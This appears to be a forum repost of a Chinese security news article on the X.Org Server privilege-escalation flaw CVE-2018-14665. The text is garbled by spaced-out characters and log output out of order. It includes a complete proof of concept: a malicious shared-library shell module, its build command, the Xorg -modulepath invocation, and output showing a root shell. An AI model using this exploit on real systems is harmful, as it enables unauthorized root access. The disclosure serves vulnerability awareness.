搜索

[13368] 2018-11-02_X.OrgServer软件包存在提权漏洞，影响主流Linux发行版

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2018-11-02_X.OrgServer软件包存在提权漏洞，影响主流Linux发行版 X . O r g   S e r v e r 软 件 包 存 在 提 权 漏 洞 ， 影 响 主 流 L i n u x 发 行 版 F r e d d y   F r e e B u f   2 0 1 8 - 1 1 - 0 2 前 言 前 言 印 度 安 全 研 究 员 印 度 安 全 研 究 员 N a r e n d r a   S h i n d e 在 在 X . O r g   S e r v e r 软 件 包 中 发 现 了 一 个 非 常 关 键 的 提 权 漏 洞 （ 软 件 包 中 发 现 了 一 个 非 常 关 键 的 提 权 漏 洞 （ C V E - 2 0 1 8 - 1 4 6 6 5 ） ， 主 流 ） ， 主 流 L i n u x 发 行 版 均 受 到 影 响 ， 包 括 发 行 版 均 受 到 影 响 ， 包 括 O p e n B S D 、 、 D e b i a n 、 、 U b u n t u 、 、 C e n t O S 、 、 R e d   H a t 和 和 F e d o r a 。 。 X . O r g   S e r v e r 软 件 包 提 供 了 X 窗 口 系 统 （ X   W i n d o w   S y s t e m ， 也 常 称 为 X 1 1 或 X ） 的 开 源 实 现 。 X   W i n d o w   S y s t e m 是 一 种 以 位 图 方 式 显 示 的 软 件 窗 口 系 统 。 最 初 是 1 9 8 4 年 麻 省 理 工 学 院 的 研 究 ， 之 后 变 成 U N I X 、 类 U N I X 、 以 及 O p e n V M S 等 操 作 系 统 所 一 致 适 用 的 标 准 化 软 件 工 具 包 及 显 示 架 构 的 运 作 协 议 。 X 窗 口 系 统 通 过 软 件 工 具 及 架 构 协 议 来 创 建 操 作 系 统 所 用 的 图 形 用 户 界 面 ， 此 后 则 逐 渐 扩 展 适 用 到 各 形 各 色 的 其 他 操 作 系 统 上 。 现 在 几 乎 所 有 的 操 作 系 统 都 能 支 持 与 使 用 X 。 更 重 要 的 是 ， 今 日 知 名 的 桌 面 环 境 — — G N O M E 和 K D E 也 都 是 以 X 窗 口 系 统 为 基 础 建 构 成 的 。 根 据 N a r e n d r a   S h i n d e 的 说 法 ， X . O r g 服 务 器 自 版 本 1 . 1 9 . 0 起 就 存 在 该 漏 洞 ， 距 今 已 经 两 年 多 了 ， 只 要 X . O r g 服 务 器 以 提 升 的 权 限 运 行 ， 该 漏 洞 就 可 被 利 用 。 提 权 和 任 意 文 件 覆 盖 提 权 和 任 意 文 件 覆 盖 S h i n d e 发 现 漏 洞 根 源 在 于 X . O r g 服 务 器 无 法 正 确 处 理 和 验 证 至 少 以 下 两 个 命 令 行 的 参 数 ： - m o d u l e p a t h ： 设 置 和 搜 索 X o r g 服 务 器 模 块 的 目 录 路 径 ； - l o g f i l e ： 跳 过 位 于 / v a r / l o g / X o r g . n . l o g 的 默 认 日 志 ， 为 X o r g 服 务 器 设 置 新 的 日 志 文 件 。 当 X . O r g 服 务 器 提 权 运 行 时 ， 比 如 使 用 s e t u i d 命 令 安 装 并 由 非 r o o t 用 户 启 动 时 ： - m o d u l e p a t h ： 可 用 于 指 定 加 载 不 安 全 模 块 的 路 径 ,   允 许 在 高 级 进 程 中 跨 权 限 执 行 代 码 。 - l o g f i l e ： 可 用 于 在 文 件 系 统 中 实 现 任 意 文 件 覆 盖 。 实 例 实 例 1 、 收 集 、 收 集 X . O r g 服 务 器 加 载 的 模 块 信 息 服 务 器 加 载 的 模 块 信 息
X . O r g 服 务 器 在 启 动 期 间 加 载 各 种 模 块 ， 本 演 示 中 使 用   -   l i b g l x . s o ： 2 、 创 建 、 创 建 s h e l l 模 块 模 块 S h e l l . c 3 、 加 载 恶 意 、 加 载 恶 意 s h e l l 模 块 模 块 4 、 模 块 加 载 器 日 志 ： 、 模 块 加 载 器 日 志 ：     [     5 5 4 9 . 2 2 3 ]   ( I I )   L o a d M o d u l e :   " g l x "     [     5 5 4 9 . 2 2 3 ]   ( I I )   L o a d i n g   / u s r / l i b / x o r g / m o d u l e s / e x t e n s i o n s / l i b g l x . s o     [     5 5 4 9 . 2 2 4 ]   ( I I )   M o d u l e   g l x :   v e n d o r = " X . O r g   F o u n d a t i o n # i n c l u d e   < s t d i o . h >     # i n c l u d e   < s y s / t y p e s . h >     # i n c l u d e   < s t d l i b . h >     v o i d   _ i n i t ( )   {     s e t g i d ( 0 ) ;     s e t u i d ( 0 ) ;     s y s t e m ( " / b i n / b a s h " ) ;     }     [ d e v e l o p e r @ c e n t o s - x 8 6   x o r g - d e m o ] $   g c c   - f P I C   - s h a r e d   - o   l i b g l x . s o   s h e l l . c   - n o s t a r t f i l e s     [ d e v e l o p e r @ c e n t o s - x 8 6   x o r g - d e m o ] $       [ d e v e l o p e r @ c e n t o s - x 8 6   x o r g - d e m o ] $   l s   - l a     t o t a l   1 6     d r w x r w x r - x .     2   d e v e l o p e r   d e v e l o p e r       3 8   O c t   2 6   2 2 : 1 4   .     d r w x - - - - - - .   2 6   d e v e l o p e r   d e v e l o p e r   4 0 9 6   O c t   2 6   2 2 : 0 2   . .     - r w x r w x r - x .     1   d e v e l o p e r   d e v e l o p e r   5 7 7 2   O c t   2 6   2 2 : 1 4   l i b g l x . s o     - r w - r w - r - - .     1   d e v e l o p e r   d e v e l o p e r     1 4 7   O c t   2 6   2 2 : 0 3   s h e l l . c     [ d e v e l o p e r @ c e n t o s - x 8 6   x o r g - d e m o ] $       [ d e v e l o p e r @ c e n t o s - x 8 6   x o r g - d e m o ] $   [ d e v e l o p e r @ c e n t o s - x 8 6   ~ ] $       [ d e v e l o p e r @ c e n t o s - x 8 6   ~ ] $   i d     u i d = 1 0 0 0 ( d e v e l o p e r )   g i d = 1 0 0 0 ( d e v e l o p e r )   g r o u p s = 1 0 0 0 ( d e v e l o p e r )   c o n t e x t = u n c o n f i n e d _ u : u n c o n f i n e d _ r : u n c o n f i n e d _ t : s 0 - s 0 : c 0 . c 1 0 2 3     [ d e v e l o p e r @ c e n t o s - x 8 6   ~ ] $       [ d e v e l o p e r @ c e n t o s - x 8 6   ~ ] $   X o r g   - m o d u l e p a t h   ' , / h o m e / d e v e l o p e r / x o r g - d e m o '   : 2       X . O r g   X   S e r v e r   1 . 1 9 . 5     R e l e a s e   D a t e :   2 0 1 7 - 1 0 - 1 2     X   P r o t o c o l   V e r s i o n   1 1 ,   R e v i s i o n   0     B u i l d   O p e r a t i n g   S y s t e m :     3 . 1 0 . 0 - 6 9 3 . 1 7 . 1 . e l 7 . x 8 6 _ 6 4       C u r r e n t   O p e r a t i n g   S y s t e m :   L i n u x   c e n t o s - x 8 6 . l o c a l d o m a i n   3 . 1 0 . 0 - 8 6 2 . 1 4 . 4 . e l 7 . c e n t o s . p l u s . i 6 8 6   # 1   S M P   F r i   S e p   2 8   0 5 : 3 0 : 5 7   U T C   2 0 1 8   i 6 8 6     K e r n e l   c o m m a n d   l i n e :   B O O T _ I M A G E = / v m l i n u z - 3 . 1 0 . 0 - 8 6 2 . 1 4 . 4 . e l 7 . c e n t o s . p l u s . i 6 8 6   r o o t = / d e v / m a p p e r / c e n t o s - r o o t   r o   c r a s h k e r n e l = a u t o   r d . l v m . l v = c e n t o s / r o o t   r d . l v m . l v = c e n t o s / s w a p   r h g b   q u i e t   L A N G = e n _ U S . U T F - 8     B u i l d   D a t e :   1 1   A p r i l   2 0 1 8     0 4 : 4 4 : 3 3 P M     B u i l d   I D :   x o r g - x 1 1 - s e r v e r   1 . 1 9 . 5 - 5 . e l 7       C u r r e n t   v e r s i o n   o f   p i x m a n :   0 . 3 4 . 0       B e f o r e   r e p o r t i n g   p r o b l e m s ,   c h e c k   h t t p : / / w i k i . x . o r g       t o   m a k e   s u r e   t h a t   y o u   h a v e   t h e   l a t e s t   v e r s i o n .     M a r k e r s :   ( - - )   p r o b e d ,   ( * * )   f r o m   c o n f i g   f i l e ,   ( = = )   d e f a u l t   s e t t i n g ,       ( + + )   f r o m   c o m m a n d   l i n e ,   ( ! ! )   n o t i c e ,   ( I I )   i n f o r m a t i o n a l ,       ( W W )   w a r n i n g ,   ( E E )   e r r o r ,   ( N I )   n o t   i m p l e m e n t e d ,   ( ? ? )   u n k n o w n .     ( = = )   L o g   f i l e :   " / v a r / l o g / X o r g . 2 . l o g " ,   T i m e :   F r i   O c t   2 6   2 2 : 1 5 : 1 2   2 0 1 8     ( = = )   U s i n g   c o n f i g   d i r e c t o r y :   " / e t c / X 1 1 / x o r g . c o n f . d "     ( = = )   U s i n g   s y s t e m   c o n f i g   d i r e c t o r y   " / u s r / s h a r e / X 1 1 / x o r g . c o n f . d "     ' a b r t - c l i   s t a t u s '   t i m e d   o u t     - -   w a i t   f o r   f e w   s e c o n d s   a n d   y o u   w i l l   b e   d r o p p e d   i n t o   r o o t   s h e l l   - - -     [ r o o t @ c e n t o s - x 8 6   ~ ] #       [ r o o t @ c e n t o s - x 8 6   ~ ] #       [ r o o t @ c e n t o s - x 8 6   ~ ] #   i d     u i d = 0 ( r o o t )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) , 1 0 0 0 ( d e v e l o p e r )   c o n t e x t = u n c o n f i n e d _ u : u n c o n f i n e d _ r : x s e r v e r _ t : s 0 - s 0 : c 0 . c 1 0 2 3     [ r o o t @ c e n t o s - x 8 6   ~ ] #  
* 参 考 来 源 ： 参 考 来 源 ： s e c u r i t y a f f a i r s ， ， F r e d d y 编 译 整 理 ， 转 载 请 注 明 来 自 编 译 整 理 ， 转 载 请 注 明 来 自   F r e e B u f . C O M 。 。 阅 读 原 文 [     6 6 8 3 . 6 6 9 ]   ( + + )   M o d u l e P a t h   s e t   t o   " , / h o m e / d e v e l o p e r / x o r g - d e m o "     [     6 6 8 3 . 6 6 9 ]   ( I I )   T h e   s e r v e r   r e l i e s   o n   u d e v   t o   p r o v i d e   t h e   l i s t   o f   i n p u t   d e v i c e s .                     I f   n o   d e v i c e s   b e c o m e   a v a i l a b l e ,   r e c o n f i g u r e   u d e v   o r   d i s a b l e   A u t o A d d D e v i c e s .     [     6 6 8 3 . 6 6 9 ]   ( I I )   L o a d e r   m a g i c :   0 x 6 f 5 0 2 0     [     6 6 8 3 . 6 6 9 ]   ( I I )   M o d u l e   A B I   v e r s i o n s :     [     6 6 8 3 . 6 6 9 ]         X . O r g   A N S I   C   E m u l a t i o n :   0 . 4     [     6 6 8 3 . 6 6 9 ]         X . O r g   V i d e o   D r i v e r :   2 3 . 0     [     6 6 8 3 . 6 6 9 ]         X . O r g   X I n p u t   d r i v e r   :   2 4 . 1     [     6 6 8 3 . 6 6 9 ]         X . O r g   S e r v e r   E x t e n s i o n   :   1 0 . 0     [     6 6 8 3 . 6 7 8 ]   ( - - )   P C I : * ( 0 : 0 : 2 : 0 )   8 0 e e : b e e f : 0 0 0 0 : 0 0 0 0   r e v   0 ,   M e m   @   0 x e 0 0 0 0 0 0 0 / 3 3 5 5 4 4 3 2 ,   B I O S   @   0 x ? ? ? ? ? ? ? ? / 1 3 1 0 7 2     [     6 6 8 3 . 6 7 8 ]   ( I I )   L o a d M o d u l e :   " g l x "     [     6 6 8 3 . 6 7 8 ]   ( I I )   L o a d i n g   / h o m e / d e v e l o p e r / x o r g - d e m o / l i b g l x . s o
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理